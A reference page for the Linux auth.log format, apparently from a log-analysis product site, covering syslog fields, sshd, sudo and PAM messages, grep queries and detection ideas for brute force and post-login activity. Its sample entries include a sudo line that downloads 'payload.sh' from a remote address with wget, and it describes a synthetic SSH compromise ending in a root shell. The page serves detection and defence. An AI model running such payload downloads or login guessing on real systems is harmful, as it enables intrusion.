Linux auth.log Format: Fields and SSH, sudo and PAM Messages
Published
One syslog line per authentication event on a Linux host: a time, the host name, the program and its process ID, then the program's own message — sshd logins and failures, sudo commands with the user and working directory, PAM sessions opening and closing.
Official documentation: RFC 3164: The BSD syslog Protocol · sudoers(5): logging format · sshd_config(5): LogLevel and authentication settings
Sample record
Mar 15 08:00:01 web-01 sshd[1234]: Accepted publickey for deploy from 10.10.1.5 port 43210 ssh2: RSA SHA256:abc123
Mar 15 08:00:02 web-01 sshd[1234]: pam_unix(sshd:session): session opened for user deploy by (uid=0)
Mar 15 08:01:00 web-01 sudo[2001]: deploy : TTY=pts/0 ; PWD=/var/www/app ; USER=root ; COMMAND=/usr/bin/systemctl restart nginx From the LogTriage parser test corpus — synthetic data, no real hosts or users.
Field reference
| Field | Type | Meaning | Why it matters for security |
|---|---|---|---|
| TIMESTAMPe.g. Mar 15 02:00:01 | Mmm dd hh:mm:ss | RFC 3164: "The TIMESTAMP field is the local time and is in the format of \"Mmm dd hh:mm:ss\"." No year and no time zone. | Take the year and zone from the file's context (rotation date, host time zone) before comparing with other logs. |
| HOSTNAMEe.g. web-01 | string | RFC 3164: "The HOSTNAME field will contain only the hostname, the IPv4 address, or the IPv6 address of the originator of the message." | Tells you which host wrote the line when several hosts' logs are merged. |
| TAGe.g. sshd[3821] | program[pid] | The program that wrote the message and, in brackets, its process ID (RFC 3164 calls the program name the TAG). | All lines of one SSH connection share the sshd process ID — use it to tie a failure, a success and the session together. |
| MSGe.g. Failed password for root from 185.220.101.45 port 54100 ssh2 | string | The program's own message, after the colon. Its wording is the program's, so each program needs its own patterns. | The part every detection reads; the lines below are the messages that matter most. |
| Failed passworde.g. Failed password for postgres from 185.220.101.45 port 54107 ssh2 | sshd message | sshd: password authentication failed for an account that exists, from that address and port. "Failed password for invalid user …" when the account does not. | Many from one address is brute force; the same password tried against many accounts is spraying. |
| Invalid usere.g. Invalid user oracle from 185.220.101.45 port 54106 | sshd message | sshd: a login was attempted for a user name that does not exist on the host. | Lists of common service names (oracle, git, ubuntu, ansible) mean someone is working through a wordlist. |
| Accepted passworde.g. Accepted password for backup from 91.240.118.172 port 61100 ssh2 | sshd message | sshd: a successful login, and the method that succeeded — password, publickey or keyboard-interactive. | Accepted password from an address that just produced failures is a guess that worked; treat the account as compromised. |
| maximum authentication attempts exceedede.g. error: maximum authentication attempts exceeded for root from 185.220.101.45 port 54116 ssh2 | sshd message | sshd: the client used up the MaxAuthTries attempts allowed on one connection and was disconnected. | Proof of rapid guessing within a single connection, even when the failures themselves were not logged. |
| session openede.g. session opened for user deploy by (uid=0) | PAM message | pam_unix: a session started for the user after authentication — for sshd, a login; for sudo, an elevation. | The line that marks an attacker actually getting in; pair it with "session closed" for the session's length. |
| COMMANDe.g. /usr/bin/wget http://91.240.118.172/payload.sh | sudo field | sudo's log line: the invoking user, then TTY, PWD (working directory), USER (the target user) and COMMAND (what was run). | Downloads, chmod +x in /tmp, shells (/bin/bash) and edits to sudoers or authorized_keys right after a suspicious login are the attacker's next steps. |
Have one of your own records? Paste it into the log line explainer and each field is explained from this table, with times, codes and addresses decoded — in your browser.
What it records
auth.log (or secure) is the syslog file the authentication programs of a Linux host write to. Each line has the BSD syslog header defined in RFC 3164 — a local TIMESTAMP, the HOSTNAME, and a TAG naming the program and its process ID — followed by the program’s own message. The programs that matter are sshd (remote logins), sudo (privilege use), su, and the PAM modules they call (pam_unix for passwords and sessions).
The malicious sample is a complete SSH compromise: one address works through root, admin and service-account names with Failed password and Invalid user lines until sshd drops it for exceeding the attempt limit; a second address keeps guessing, then logs in with Accepted password for backup, uses sudo to open a root shell, downloads a payload with wget and makes it executable. Each sshd message type has its own page in the SSH log message reference, with its exact wording from the OpenSSH source.
Where to get it
- The file.
/var/log/auth.logon Debian and Ubuntu,/var/log/secureon the Red Hat family. Root or the adm group is needed to read it. - The journal. On hosts without rsyslog,
journalctl -u ssh(or-u sshd) andjournalctl _COMM=sudoshow the same messages;-o short-isoadds the year and zone. - Forwarding. Send it to a central collector; an attacker with root can edit the local file.
# Source addresses with the most failed SSH logins
grep -E "Failed password|Invalid user" /var/log/auth.log | grep -oE "from [0-9a-f.:]+" | sort | uniq -c | sort -rn | head
# Successful logins and the method used
grep "Accepted " /var/log/auth.log
Parsing pitfalls
- No year, local time. RFC 3164 timestamps have neither; rsyslog on newer distributions may write RFC 3339 times instead, so accept both.
- Free-text messages. Each program words its messages differently and versions change them; match the documented wording, not your memory of it.
- OpenSSH 9.8 and later log pre-authentication messages from
sshd-session(andsshd-authin 10.x) rather thansshd; filter on all three program names. - One event, several lines. A login produces sshd and pam_unix lines; count events by process ID, not by line.
- Hidden failures. With public-key-only servers, guesses show up as
Connection closed by authenticating userrather thanFailed password.
Detection ideas
- Brute force: many
Failed passwordorInvalid userlines from one address in minutes — the SSH brute force rule. - Spraying: few attempts per account across many accounts from one address.
- A guess that worked:
Acceptedfrom an address that produced failures before. - Post-login activity: sudo
COMMANDlines with downloads, shells or changes to/etc/sudoersandauthorized_keys. - Logins from unusual sources:
Accepted publickeyfor service accounts from addresses outside the usual set.
The free browser analyzer runs these checks on auth.log locally, and the fail2ban regex tester shows which of these lines fail2ban would ban on.
Sending Linux auth.log / secure to an LLM
One megabyte of this format is about 575,108 tokens on current Claude models and 416,775 on GPT models, measured with the models' own tokenizers — so a gigabyte sent raw to Claude Sonnet 5.5 costs about $1,150 in input tokens alone (prices of 2026-10-24). Estimate your own volume →
Detections and guides for Linux auth.log / secure
Frequently Asked Questions
- Where is the authentication log on Linux?
- Debian and Ubuntu write it to /var/log/auth.log; Red Hat, CentOS, Rocky and Fedora to /var/log/secure. On systems where only the systemd journal keeps logs, read the same messages with journalctl -u ssh (or -u sshd) and journalctl _COMM=sudo. Rotated copies are auth.log.1, auth.log.2.gz and so on.
- How do I find brute-force attempts in auth.log?
- Count "Failed password" and "Invalid user" lines per source address: grep -E "Failed password|Invalid user" /var/log/auth.log, then extract the address after "from" and count it. Then search the same addresses for "Accepted" lines — a success after many failures is the case to escalate.
- Why is there no year in the timestamps?
- Traditional syslog writes the RFC 3164 time format, Mmm dd hh:mm:ss in local time, with no year and no zone. Newer rsyslog configurations on some distributions write RFC 3339 times with a year and offset instead. For the old format, infer the year from the file's rotation date.
- What does the number in sshd[3821] mean?
- It is the process ID of the sshd process handling that connection. Every line from one connection — the failures, the success, the session opened — shares it, so it is the way to follow a single login attempt through the log.
Analyze a Linux auth.log / secure file in your browser
The free analyzer detects this format, parses every field above and flags attack patterns — the file never leaves your machine. For threat-intel enrichment and an AI-written incident report, run it through LogTriage.
Investigating something right now? LogTriage checks every address in the file against threat intelligence and writes the incident report: 10 analyses a month free. The incident pack adds the in-depth AI analysis and files up to 100 MB: 25 analyses for $19, one payment, no subscription. Pricing
How this page was made. The official definitions, field names and examples on it are copied by script from the sources it links and re-checked against them on every build. The investigation advice was drafted with AI from those sources and passed a separate review before publishing. What is checked, and how · found a mistake? [email protected]